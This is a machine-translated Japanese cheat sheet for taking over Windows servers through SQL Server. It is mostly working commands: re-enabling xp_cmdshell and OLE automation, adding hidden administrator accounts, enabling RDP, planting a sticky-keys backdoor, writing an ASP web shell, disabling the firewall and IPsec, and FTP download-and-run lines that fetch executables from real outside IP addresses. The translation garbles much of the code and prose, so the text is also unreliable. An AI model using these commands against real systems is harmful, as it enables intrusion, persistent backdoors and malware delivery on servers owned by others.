1433年の修理命令
net user SQLDebugger list /add net localgroup administrators SQLDebugger /add
エラーメッセージ:ストアドプロシージャ「マスター.. xp_cmdshell'。
修理方法:非常に一般的で、実際には他の126 127は一緒に修理可能です。
ただし、他の問題xplog70.dllこのコマンドで修正できます
xp_cmdshell新しい回復方法 ステップ1:削除: 手技を落とすsp_addextendedproc ドロップ手順sp_oacreate エグゼクティブsp_dropextendedproc「xp_cmdshell」 サーバー:Msg 3701、レベル11、ステート5、ライン1 プロセス「sp_addextendedproc」はシステムディレクトリに存在しないため、削除することはできません。 サーバー:Msg 3701、レベル11、状態5、手続きsp_dropextendedproc、18行 プロセス「xp_cmdshell」はシステムディレクトリに存在しないため、削除できません。 ステップ2 回復: DBCC Adextendedproc(「sp_oacreate」、「odsole70.dll」) DBCC AdextendedProc("xp_cmdshell"xplog70.dll") 直接的な回復、sp_addextendedprocが存在するかどうかに関わらず
xplog70.dll修正:
エラーメッセージ:DLL xplog70.dllまたはDLLが参照するDLLのいずれかがマウントできませんでした。 理由:126(指定されたモジュールは見つからない。) )。
修正XPLOG70.DLL(まずバックアップディレクトリの\x86\binにファイルを確認し、その後次のディレクトリを置き換える)
ステップ1 エグゼクティブsp_dropextendedproc「xp_cmdshell」 ステップ2 DBCC addextendedproc ("xp_cmdshell","C:\SQL2ksp4\x86\BINN\xplog70.dll")
ストアドプロシージャを見つけられなかった「マスター... xp_cmdshell'。 ステップ1: プロシージャを作成 sp_addextendedproc --- 1996/08/30 20:13 @functname ンヴァルチャル(517)、/*(オーナー)呼び出す関数名
*/ @dllname varchar(255)/* 関数を含むDLLの名前 */ として implicit_transactions @@trancount > 0 の場合 開始 レイズエラー(15002,-1,-1,'sp_addextendedproc') リターン(1) 終わり DBCC addextendedproc(@functname, @dllname) リターン(0) -- sp_addextendedproc 行け
ステップ2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' @o int を宣言
SQL Serverは、このコンポーネント「xp_cmdshell」のプロセス「sys.xp_cmdshell」へのアクセスをブロックしました。なぜなら、このコンポーネントはこのサーバーのセキュリティ構成の一環としてシャットダウンされていたからです。 システム管理者はsp_configureを使って「xp_cmdshell」を有効にすることができます。 xp_cmdshellの有効化についての詳細は、SQL Server Online BooksシリーズのPeripheral App Configuratorを参照してください。
; 執行部sp_configure「高度なオプションを表示」、1 -- ; オーバーライドで再構成 -- ; 執行sp_configure『xp_cmdshell』、1 -- ; オーバーライドで再構成 -- ; 執行部sp_configure「高度なオプションを表示」、0 --
SQLの危険なストレージの削除: ドロップ手順sp_makewebtask エグゼクティブマスター... sp_dropextendedproc xp_cmdshell エグゼクティブマスター... sp_dropextendedproc xp_dirtree エグゼクティブマスター... sp_dropextendedproc xp_fileexist エグゼクティブマスター... sp_dropextendedproc xp_terminate_process エグゼクティブマスター... sp_dropextendedproc sp_oamethod エグゼクティブマスター... sp_dropextendedproc sp_oacreate エグゼクティブマスター... sp_dropextendedproc xp_regaddmultistring エグゼクティブマスター... sp_dropextendedproc xp_regdeletekey エグゼクティブマスター... sp_dropextendedproc xp_regdeletevalue エグゼクティブマスター... sp_dropextendedproc xp_regenumkeys エグゼクティブマスター... sp_dropextendedproc xp_regenumvalues エグゼクティブマスター... sp_dropextendedproc sp_add_job エグゼクティブマスター... sp_dropextendedproc sp_addtask エグゼクティブマスター... sp_dropextendedproc xp_regread エグゼクティブマスター... sp_dropextendedproc xp_regwrite エグゼクティブマスター... sp_dropextendedproc xp_readwebtask エグゼクティブマスター... sp_dropextendedproc xp_makewebtask エグゼクティブマスター... sp_dropextendedproc xp_regremovemultistring エグゼクティブマスター... sp_dropextendedproc sp_OACreate ドロップ手順sp_addextendedproc
拡張ストアドプロシージャの復元 まずsp_addextendedprocを復元します。文は以下の通りです: まずは: プロシージャを作成 sp_addextendedproc --- 1996/08/30 20:13 @functname ンヴァルチャル(517)、/*(オーナー)呼び出す関数名 */ @dllname varchar(255)/* 関数を含むDLL名 */ として implicit_transactions @@trancount > 0 の場合 開始 レイズエラー(15002,-1,-1,'sp_addextendedproc') リターン(1) 終わり DBCC addextendedproc(@functname, @dllname) リターン(0) -- sp_addextendedproc 行け
第二に: マスターを使用 エグゼクティブsp_addextendedproc xp_cmdshell、『xp_cmdshell.dll』 エグゼクティブsp_addextendedproc xp_dirtree、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_enumgroups、『xplog70.dll』 エグゼクティブsp_addextendedproc xp_fixeddrives、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_loginconfig、『xplog70.dll』 エグゼクティブ・スsp_addextendedproc xp_enumerrorlogs、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_getfiledetails、『xpstar.dll』 エグゼクティブsp_addextendedproc sp_OACreate、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OADestroy、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OAGetErrorInfo、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OAGetProperty、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OAMethod、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OASetProperty、『odsole70.dll』 エグゼクティブsp_addextendedproc sp_OAStop、『odsole70.dll』 エグゼクティブsp_addextendedproc xp_regaddmultistring、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_regdeletekey、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_regdeletevalue、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_regenumvalues、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_regread、『xpstar.dll』 エグゼクティブ・sp_addextendedproc xp_regremovemultistring、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_regwrite、『xpstar.dll』 エグゼクティブsp_addextendedproc xp_availablemedia、『xpstar.dll』
ストアドプロシージャを拡張する文を削除xp_cmdshell: エグゼクティブsp_dropextendedproc「xp_cmdshell」
cmdshellのSQL文を復元してください exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
cmdshellのSQL文を開きます exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
ストレージ拡張が存在するかどうかを判断してください master.dbo.sysobjects から xtype='x' かつname='xp_cmdshell' のカウント(*)を選択します。 返品結果は1で、問題ありません
回復xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; master.dbo.sysobjects から xtype='x' かつname='xp_cmdshell' のカウント(*)を選択します。 返品結果は1で、問題ありません それ以外はアップロードxplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll''
cmdshellのSQL文をブロックしてください sp_dropextendedproc「xp_cmdshell
1。 SAパスワード方法の変更: SQL包括的利用ツールに接続した後、次のコマンドを実行します: exec sp_password NULL、『new password』、『sa』 (ヒント:使用には注意してください!)
2。 弱いパスワードを単純にパッチで修正すればいいのです。
方法1:接続後にスプリッターに問い合わせる: もし存在すれば( から * を選択 dbo.sysobjects ここで id = object_id(N'[dbo].[ xp_cmdshell]')および OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
エグゼクティブsp_dropextendedproc N'[dbo]。 [xp_cmdshell]」
行け 次にF5キーを押してコマンドを実行します
方法2:スプリッター接続後のクエリ 最初のステップは実行:マスターを使うことです。 ステップ2:「xp_cmdshell sp_dropextendedproc」 次にF5キーを押してコマンドを実行します
DLL xpsql70.dllまたはDLLが参照するDLLのいずれかはマウントできません。 理由126(指定されたモジュールが見つからない。 ) 復旧方法:スプリッター接続を問い合わせた後、 ステップ1:「xp_cmdshell」sp_dropextendedproc ステップ2:「xp_cmdshell、xpsql70.dll」sp_addextendedproc
関数xp_cmdshellライブラリxpweb70.dllには見つかりません。 理由:127(指定されたプログラムが見つからない) ) 復旧方法:スプリッター接続を問い合わせた後、 ステップ1 実行:エグゼクティブsp_dropextendedproc「xp_cmdshell」 ステップ2:エグゼクティブsp_addextendedproc「xp_cmdshell」「xpweb70.dll」 次にF5キーを押してコマンドを実行します
上記の方法がいずれも回復できない場合は、以下の方法で直接アカウントを追加してみてください。 スプリッター接続を問い合わせた後、 2000サーブサーシステム: int exec @shell 宣言 sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
@shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell, 'run', null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XPまたは2003サーバーシステム:126エラー! 秩序
int exec @shell sp_oacreate 'wscrip remove t.shell' を宣言し、@shell exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ ハッカー /add' を宣言します。
@shell int exec sp_oacreate 'wscrip remove t.shell' を宣言し、@shell exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Serverは、このコンポーネント「xp_cmdshell」のプロセス「sys.xp_cmdshell」へのアクセスをブロックしました。なぜなら、このコンポーネントはこのサーバーのセキュリティ構成の一環としてシャットダウンされていたからです。 システム管理者はsp_configureを使って「xp_cmdshell」を有効にすることができます。 xp_cmdshellの有効化についての詳細は、SQL Server Online BooksシリーズのPeripheral App Configuratorを参照してください。
アナライザーが実行する文:
EXEC sp_configure「高度なオプションを表示」、1; 再構成; 執行sp_configure 『xp_cmdshell』1名; 再構成;
クエリデタッチャー接続で上記の文を実行すると、ストアドプロシージャが見つからないことがあるsp_addextendedproc
回避策:
プロシージャを作成 sp_addextendedproc --- 1996/08/30 20:13 @functname ンヴァルチャル(517)、/*(オーナー)呼び出す関数名 */ @dllname varchar(255)/* 関数を含むDLLの名前 */ として implicit_transactions @@trancount > 0 の場合 開始 レイズエラー(15002,-1,-1,'sp_addextendedproc') リターン(1) 終わり DBCC addextendedproc(@functname, @dllname) リターン(0) -- sp_addextendedproc 行け このコードはクエリスプリッターに貼り付けられて実行されます
エクスプローラー:
c:\windows\explorer.exe
目次を見る エグゼクティブmaster.dbo.xp_subdirs 'C:\' リストディスク エグゼクティブマスター... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
執行master.dbo.xp_regwrite 「HKEY_LOCAL_MACHINE」、 「ソフトウェア\Microsoft\Jet\4.0\エンジン」 「SandBoxMode」 「REG_DWORD」 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows レジストリエディタ バージョン 5.00 >3389.reg エコー。 >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg エコー「Enabled」=「0」>>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo 「ShutdownWithoutLogon」=「0」>>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled" =dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo 「Start」=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo 「Start」=dword:00000002 >>3389.reg エコー[HKEY_USERS\。 デフォルト\キーボードレイアウト\トグル] >>3389.reg エコー「ホットキー」=「1」>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo 「PortNumber」=dword:0000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP] >>3389.reg echo 「PortNumber」=dword:0000D3D >>3389.reg regedit /s 3389.reg
開けて3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
パス3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
ポート3389をチェックしてみてください
執行xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP','PortNumber'
通常のCMDバックドア xp_regwrite 『HKEY_LOCAL_MACHINE』、『SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execute Options\sethc.exe』、『デバッガー』、『reg_sz』、『c:\windows\system32\cmd.exe』
win2Kは直接PS Marに移行します エグゼクティブマスター... xp_regwrite 『HKEY_LOCAL_MACHINE』、『ソフトウェア\Microsoft\Jet\4.0\エンジン』、『SandBoxMode』、『REG_DWORD』、1 Select * from OpenRowSet('Microsoft.Jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echoバイ>>net.txt&@ftp -s:net.txt& net.txt 0.exe」))
win03-XPをPS馬に直接搭載 エグゼクティブマスター... xp_regwrite 『HKEY_LOCAL_MACHINE』、『ソフトウェア\Microsoft\Jet\4.0\エンジン』、『SandBoxMode』、『REG_DWORD』、1 Select * from OpenRowSet('Microsoft.Jet.oledb.4.0','; database=c:\Windows\System32\IAS\ias.mdb','Select Shell("cmd.exe /c @echo Open 60.190.176.85>>net.txt&@echo Reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echoバイ>>net.txt&@ftp -s:net.txt& net.txt 0.exe」))
5. バックドアコマンドのシフト @o intを宣言する exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
@o intを宣言する exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
C:\Windows\explorer.exe C:\Windows\System32\sethc.exe コピー c:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
@o intを宣言する エグゼクティブsp_oacreate「wscrip remove t.shell」、@o exec sp_oamethod @o、'run'、NULL、'XXXXX' \\XXXXX が実行したいコマンドです
レジストリで指定されたキーに指定された値を書き込む)、次のメソッド(キーにbbbを書く HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaaValue)を用います:
エグゼクティマスター... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo 121.22.56.5>c:\bin.txt&@echo リスト>>c:\bin.txt&@echo リスト>>c:\bin.txt&@echo gzn.exe>>c:\bin.txt&@echo さようなら>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
まず、wmpubディレクトリにコピー ftp.exe @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
開け 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQLは文を書きます エグゼクティブmaster.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select'<%execute(request("SB")%>'' '
SAサンドボックスモードのプロモーション----- ---------------------- エグゼクティブマスター... xp_regwrite 「HKEY_LOCAL_MACHINE」、 「SOFTWARE\Microsoft\Jet\4.0\Engines」 「SandBoxMode」 「REG_DWORD',0 ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389シフト
使われた文は以下の通りです。 侵攻 エグゼクティマスター... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE'、 @value_name=「デバッガー」、 @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
回復 エグゼクティマスター... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE'、 @value_name=「デバッガー」、 @type='REG_SZ', @value=''
画像ハイジャック
エグゼクティマスター... xp_regwrite ---これはレジストリ編集です! @rootkey='HKEY_LOCAL_MACHINE'、---これがその位置だ! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE'、-----これも同じポジションだ! @value_name='Debugger'、---これはテーブルの名前です! @type='REG_SZ'、---ここに書く意味がわかります! @value='C:\WINDOWS\explorer.exe' ---- こちらがその内容です!
全工程はマスターを使います: このコンポーネントが終わったxp_regwrite、
レジストリの固定キーが乗っ取られたかどうかを問い合わせるコマンド1.sql
エグゼクティブマスター... xp_regread 『HKEY_LOCAL_MACHINE』、『SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe』、『デバッガー』
2.sqlコマンドはレジストリの固定キー機能を乗っ取り、タスクマネージャーに置き換えます(もちろん他のコマンドに置き換えることも可能です)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 「デバッガー」、 「REG_SZ」、「 「C:\WINDOWS\system32\taskmgr.exe」
レジストリの固定キーのハイジャック機能を解除するコマンド3.sql、他者による悪用からサーバーを守ります
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQLファイルを書き込む
@o int、@f int、@t int、@ret int を宣言する exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. コンピューターネーム exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
NETエスカレーションなしのスクリプト
struser=wscrip で t.arguments(0) を削除 strpass=wscrip で t.arguments(1) を削除します
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp。 コンピュータネーム Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) 過剰摂取。 SetPassword strpass 過剰摂取。 セットインフォ Set of=GetObject(oz&"/" & struser & ",user") おえ。 Add(of. ADsPath)
OEの各管理者ごとに。 メンバー もしストルーザー=管理者なら。 その時の名前 Wscripはt.echoストローラーを削除し、「成功裏に確立しました!」と表示しました。 wscripでt.quitを削除してください 終了 次に
wscrip 削除 t.echo struser と「ユーザー設定に失敗しました!」 上記をユーザーとして保存してください。 VBSファイル 次に、user.vbsユーザー名パスワードを削除するためにcscripを実行してください。
JETサンドボックスモードを使えば、XP_cmdshellや関連する動的リンクライブラリなどのストアドプロシージャによる問題を解決できます。 セキュリティ上の理由から、システムはデフォルトでサンドボックスモードを有効にせず、xp_regwriteがサンドボックスモードを有効にする必要があります。
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
その後、パスワード1234のユーザー名テストをシステムに追加するサンドボックスコマンドを実行します:
Select * from OpenRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
Select * from OpenRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup 管理者がテスト/add)
異なるオペレーティングシステムには異なる経路があり、状況に応じて修正が必要です:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
さらに、Microsoft SQL Server 2005では、一部のストアドプロシージャがデフォルトで閉じられており、以下を起動するためにコマンドが必要です:
電源を入れるXP_cmdshell:
EXEC sp_configure「高度なオプションを表示」、1; 再構成; エグゼクティブsp_configure 『xp_cmdshell』、1; 再構成;
「OPENROWSET」を開く:
exec sp_configure「詳細オプションを表示」、1; 再構成; エグゼクティブsp_configure 「アドホック分散クエリ」、1; 再構成;
「sp_oacreate」をオンにする:
exec sp_configure「詳細オプションを表示」、1; 再構成; エグゼクティブsp_configure 「Ole Automation Procedures」1; 再構成;
ここに、saでの実行コマンドが誤っているいくつかの状況を示します。 1. DLL xpsql70.dllまたはDLLが参照するDLLは読み込むことができません。 理由126(指定されたモジュールが見つからない。 ) このような状況は比較的一般的で、修理も簡単で簡単ですが、いくつかの条件があります。 この場合、ディレクトリをリストアップできれば(sqltools v2.0ではディレクトリ機能があります)。この80%の状況は解決可能です。ディレクトリをリストアップできれば、xplog70.dllパスを見つけて次のコマンドを実行してください。 ステップ1 exec sp_dropextendedproc 'xp_cmdshell'(このコマンドは元のコマンドシェルを削除するため、すでに誤って動作しています) ステップ2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; 執行sp_configure「高度なオプションを表示」、0 – もちろんこれはSQLコマンドで、クエリアナライザーで実行されます。 2番目のステップにあるc:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dllがxplog70.dllのパスで、このパスは比較的一般的です。Cドライブにこのパスがなければ、他のドライブレターを見つけることができます。 2. ライブラリxpweb70.dllで関数xp_cmdshellが見つからない場合。 理由:127(指定されたプログラムが見つからない) ) 実際、これは上記の126と同じで、コマンドシェルは間違っています。バックアップを見つけて上記の方法で修正すればxplog70.dllです。 3. ストアドプロシージャ「マスター」を見つけられなかった。 xpcmdshell この場合、インターネットでその方法は以下の通りだと見かけます: ステップ1:削除: 手技を落とすsp_addextendedproc ドロップ手順sp_oacreate エグゼクティブsp_dropextendedproc「xp_cmdshell」 ステップ2 回復: DBCC Adextendedproc(「sp_oacreate」、「odsole70.dll」) DBCC AdextendedProc("xp_cmdshell"xplog70.dll") 実際、これは上記と同じで、注意すれば上記の126 127はストアドプロシージャの「master:」だけを見つけられません。 xpcmdshell」と書かれています。なぜなら、最初のステップはcmdshellのストアドプロシージャを削除することだからです。 この場合、上記の2つ目のステップを踏むだけです。 4. エラーメッセージ:SQL Serverはコンポーネント「xp_cmdshell」のプロセス「sys.xp_cmdshell」へのアクセスをブロックしました。なぜなら、このコンポーネントがこのサーバーのセキュリティ設定の一環としてシャットダウンされたためです。 システム管理者はsp_configureを使って「xp_cmdshell」を有効にすることができます。 xp_cmdshellの有効化についての詳細は、SQL Server Online BooksシリーズのPeripheral App Configuratorを参照してください。 この状況は最もシンプルで、何も考えずに次のコマンドを実行するだけです ; 執行部sp_configure「高度なオプションを表示」、1 -- ; オーバーライドで再構成 -- ; 執行sp_configure『xp_cmdshell』、1 -- ; オーバーライドで再構成 -- ; 執行sp_configure「高度なオプションを表示」、0 –
上記の修正を行った後、cmdコマンドを実行すると、パワーが上がり始めます。 私は通常、まずIPを確認してイントラネットかどうかを確認し、その後REGでHKLM\SYSTEM\CurrentControlSet\Control\Terminal」「Server\WinStations\RDP-Tcp /v PortNumber」でターミナルポートを確認し、最後にnetstat -anでターミナルが開いているか確認し、最後にnetユーザーパスワードを入力します。 ユーザーを追加してから、netローカルグループ管理者のユーザー/addがうまくいけばサーバーがダウンします。 しかし、その過程には多くの問題があります。 1. 純電力プロモーションは成功したが端末に接続できない。以下の状況がある。 (1) サーバーはイントラネット上にあります。 (2) TCP/IPスクリーニング。 まず次のcmdコマンドを実行します: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip、TCP/IPフィルタリング用レジストリの最初の部分をエクスポートしてください cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip、TCP/IPフィルタリング用のレジストリの後半部分をエクスポートしてください cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip"で、TCP/IPフィルタリングに関するレジストリの3番目の場所をエクスポートします 次にCドライブ1.regに戻り、2.reg、3.reg、1.regをダウンロードし、2.reg、ハードドライブに戻って編集し、Dowordの後のキー値が000000000 3.reg EnableSecurityFiltersフィールドを探してください。もし00000001なら、管理者がTCP/IPフィルタリングを行ったことを意味します。1を0、2に変えるだけです。 レグと3.regも同じ変更を加えています。 (3) IPセキュリティポリシーを作成する。 cmdコマンドを実行してください:cmd /c net stop policyagent を起動してIPSECサービスサービスを停止します。 もう一度端子を接続してください。 (4) 管理者が設定した端末のログイン権限は、指定されたユーザーのみが使用可能です。 (5) ファイアウォール。 cmdコマンドを実行します: net stop alg /ynet stop sharedaccess
2. NETエスカレーションが表示され、アクセスが拒否される net1ユーザーパスワード/addを試してみることもできます。もしnet1もアクセスを拒否した場合は、shfitバックドアをコピーしてcmdコマンドを実行してみてください:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe コピー c:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe プロンプトがあれば1つのファイルをコピーし、それが成功します。 端子に接続して5シフトを押すと、何が出てくるか確認してください。 Kaka Explorerで遊んでみて、今は手動でユーザーを追加するだけです。 3. アクセス拒否エラー5(ハイライト)を伴うネットエスカレーションが発生する この場合、net1を試す必要はありません。コピーシフトのバックドアを試せば、コピーが0ファイルのコピーを促すなら、成功していないことが証明されます。 その後、アップロードを試みることができます。もしアップロードできれば、以前出た非ネットパワーエスカレーションツールを直接送って、ユーザーを追加できます。 しかし、これらのケースの多くはアップロードできないので、よく考える必要があります。 cmdは実行可能なので、ftpでcmd経由でファイルをダウンロードできますが、ftpの前提はテキストの書き込みやバッチ処理を可能にすることです。 その後、テキストやSQL文をバッチ処理で書き込めます。 @o int、@f int、@t int、@ret int を宣言する exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f、『writeline』、NULL、『open IP』 exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp account' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (net escalation scriptなし) c:\en.exe' exec @ret = sp_oamethod @f、『writeline』、NULL、『bye』 クエリアナライザが正常に実行されると、Cドライブに1.batが表示されます(実行が成功してもCドライブがなければ、書き込みフォルダを書き込むように変更できます。なぜなら、どのサーバーのCドライブのルートディレクトリが書き込みを禁止しているかからです)。 その後、cmdはftp -s:c:\を実行します1.bat これが実行された後、CFTドライブのFTPに非ネットエスカレーションスクリプトをダウンロードするか、VBSエスカレーションスクリプトを直接書きます @o int、@f int、@t int、@ret int を宣言する exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' その後、cmdはcscripを実行してt c:\1.vbsを削除します 4. 前のものはコマンドの実行のために修理されますが、修理後に新たな問題が発生します (1) メッセージ:xp_cmdshellの実行中にエラーが発生しました。 エラーコード「5」で「CreateProcess」が失敗しました。 エラー5はシステムによって促されるエラー番号で、CreateProcessはスレッドを作成することを意味します。このエラー生成はシステムファイルのcmd.exeに大きく関係しています。1つはcmdが削除される、もう1つはcmdの権限が減少することです。 ターミナルポートと開閉状況を確認するためのSQL: エグゼクティブマスター... xp_regread 『HKEY_LOCAL_MACHINE』、『SYSTEM\CurrentControlSet\Control\Control\Terminal Server\WinStations\RDP-TCP』、『PortNumber』 さて、以下の重要なポイントは、システムのエクスプローラーファイルをシフトバックドアファイルにコピーする2つのSQL命令を使うことです。そして、次の2つの文を別々に実行します。 この文はexplorer.exeをsethc.exeとコピーしています。 @o int exec sp_oacreate 'scripremove ting.filesystemobject' を宣言し、exec sp_oamethod @o 'copyfile', null, 'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe' を@oします。 この文は sethc.exe を dllcache ディレクトリにコピーします int exec @oo 'scrip remove ting.filesystemobject' sp_oacreate宣言し、exec sp_oamethod @oo @oo 'copyfile', null, 'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; 